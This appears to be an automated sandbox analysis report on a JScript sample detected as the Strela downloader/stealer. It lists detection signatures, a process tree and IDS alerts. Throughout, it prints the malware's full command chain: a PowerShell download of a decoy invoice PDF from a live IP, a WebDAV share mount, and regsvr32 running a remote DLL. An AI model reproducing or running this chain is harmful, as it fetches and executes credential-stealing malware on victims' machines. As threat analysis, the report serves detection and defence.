Edit tour

Windows Analysis Report
31244102191071522677.js

Overview

General Information

Sample name:	31244102191071522677.js
Analysis ID:	1588517
MD5:	9d70f4e94f53f0e7e701063f5fb59f39
SHA1:	a43eafc0cfbd172b4a1747d5b4585e59a4207635
SHA256:	0708a1b2116dcea5c2ba58461cf5846063b29ec05328ae772b5b55219d5f169e
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6696 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31244102191071522677.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1664 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2440 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7380 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7596 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7900 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1528,i,2768293330515780230,7795670985524231554,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7396 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7492 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7700 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6696	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1664, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2440, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1664, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2440, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31244102191071522677.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31244102191071522677.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31244102191071522677.js", ProcessId: 6696, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7492, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49701

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31244102191071522677.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 1664, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31244102191071522677.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 1664, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31244102191071522677.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 1664, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31244102191071522677.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 1664, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31244102191071522677.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 1664, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31244102191071522677.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 1664, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31244102191071522677.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31244102191071522677.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31244102191071522677.js", ProcessId: 6696, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1664, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2440, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7396, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7492, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7700, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7396, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7492, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31244102191071522677.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll, ProcessId: 1664, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:59:35.157407+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49700	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:59:38.059860+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49701	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:59:35.157407+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 31244102191071522677.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 31244102191071522677.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49701 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49700 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:59:35 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 